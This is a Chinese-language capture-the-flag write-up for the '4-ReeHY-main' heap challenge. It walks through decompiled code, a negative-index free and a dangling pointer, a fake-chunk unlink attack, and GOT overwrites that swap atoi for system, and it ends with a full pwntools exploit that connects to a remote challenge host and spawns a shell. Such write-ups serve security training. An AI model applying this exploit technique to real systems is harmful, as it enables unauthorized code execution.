4-ReeHY-main-double_free
拿到程序看一下保护和内容只开了NX保护
是一个有关于堆的创建删除编辑的程序。拿到程序寻找漏洞点。首先进入create函数
int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h] [rbp-10h]
int v3; // [rsp+88h] [rbp-8h]
size_t nbytes; // [rsp+8Ch] [rbp-4h]
result = counter;
if ( counter <= 4 )
{
puts("Input size");
result = read_0();
LODWORD(nbytes) = result;
if ( result <= 0x1000 )
{
puts("Input cun");
result = read_0();
v3 = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 112 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*(_DWORD *)(size_1 + 4LL * v3) = nbytes;
*((_QWORD *)&content + 2 * v3) = dest;
flag[4 * v3] = 1;
++counter;
result = fflush(stdout);
}
}
}
return result;
}
__int64 read_0()
{
char buf; // [rsp+2h] [rbp-Eh]
read(0, &buf, 0xAuLL);
return (unsigned int)atoi(&buf);
}
size和cun都为无符号整形,可以形成堆越界
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to dele");
result = read_0();
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&content + 2 * (signed int)result));
flag[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(counter-- - 1);
}
return result;
}
__int64 read_0()
{
char buf; // [rsp+2h] [rbp-Eh]
read(0, &buf, 0xAuLL);
return (unsigned int)atoi(&buf);
}
函数read_0函数返回的是无符号整形free函数可以造成越界的效果。而且free之后的指针没有立即清0,形成了野指针,且没有进行判断,可以利用doublefree。再看一下edit函数
puts("Chose one to edit");
result = read_0();
v1 = result;
if ( result <= 4 )
{
result = flag[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&content + 2 * v1), *(unsigned int *)(4LL * v1 + size_1));
result = puts("Edit success!");
}
}
return result;
}
需要flag标志位为1才能够进行编辑。
Double free
前提条件
— 分配的内存不能太小,在linux中,小于一定大小的内存会用fastbins的形式进行分配。这样的内存在free后不会用双向链表管理。
— 需要有相邻的两块内存先后被free。在一块内存被free时,系统会检查与之相邻的前后2块内存块是否在使用。如果处于空闲状态的话,就会将先前free的内存从双向链表中删除,然后将2块内存合并成一个大的空闲内存再重新链接入双向链表中。
解题过程
1.首先开辟两个大小0x80的堆。
两个堆的地址存放在603060和6030F0处
接下来delete(-2)即,free保存长度的地方,在接着分配一个内存大小和保存长度大小一样的内存,将长度重新赋值
之后实现堆溢出,修改第二个chunk,伪造第一个chunk为free的状态,这样free 第二个chunk时就能够unlink
fd设置为0x6020c8,bk设置为0x6020d0.这样做的目的有2
1.绕过unlink的检查机制
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
大意为:
前一个bin的bk要为当前的bin的指针 *(0x6020c8+0x18)=0x603060
后一个bin的fd要为当前bin的指针 *(0x6020d0+0x10)=0x603060
2.触发unlink机制后第一个chunk的指针变为0x6020c8,unlink机制如下
unlink之后这样存储第一个chunk处的地址转换为0x6020c8
这样我们便可以修改0x6020c8之后的内容,将三个指针全部进行修改分别修改为free,puts和atoi的got表地址
这样我们便可以修改free的got表内容为puts函数的地址,我们调用一次free函数free掉第二个指针即0x602020,这样我们就可以打印puts函数的地址,之后通过所给的libc求出system地址,再将atoi的got表地址改为system函数的地址这样执行atoi函数就相当于执行system函数,由于atoi参数为我们所输入的因此我们直接输入/bin/sh即可
最后EXP如下:
from pwn import *
context.log_level='debug'
p=remote('111.198.29.45','56686')
#p=process('4-ReeHY-main')
def create(size,cun,payload):
p.recvuntil('$ ')
p.sendline('1')
p.recvuntil('Input size\n')
p.sendline(str(size))
p.recvline('Input cun\n')
p.sendline(str(cun))
p.recvuntil('Input content\n')
p.send(str(payload))
def delete(cun):
p.recvuntil('$ ')
p.sendline('2')
p.recvuntil('Chose one to dele\n')
p.sendline(str(cun))
def edit(cun,payload):
p.recvuntil('$ ')
p.sendline('3')
p.recvuntil('Chose one to edit\n')
p.sendline(str(cun))
p.recvuntil('Input the content\n')
p.send(str(payload))
p.recvuntil('$ ')
p.sendline('playmaker')
create(128,0,'a'*128)
create(128,1,'0'*128)
delete(-2)
payload=p32(256)+p32(128)
create(20,2,payload)
#fake chunk 0
payload1=p64(0)+p64(0x81)
payload1+=p64(0x6020c8)+p64(0x6020d0)#fd&bk
payload1+='a'*96
payload1+=p64(0x80)+p64(0x90)
edit(0,payload1)
#unlink
delete(1)
payload2=p64(0)
payload2+=p64(0)+p64(0)
payload2+=p64(0x602018)+p64(1)#free_got
payload2+=p64(0x602020)+p64(1)#puts_got
payload2+=p64(0x602058)+p64(1)#atoi
edit(0,payload2)
edit(0,p64(0x4006d0))#edit free_got to puts_plt
#gdb.attach(p)
#pause()
delete(1)#print put_got
puts_got_addr=u64(p.recv(6)+'\x00'+'\x00')
base_addr=puts_got_addr-0x6F690
system_addr=base_addr+0x45390
bin_sh=base_addr+0x18cd57
edit(2,p64(system_addr))
p.recvuntil('$ ')
p.sendline('/bin/sh')
p.interactive()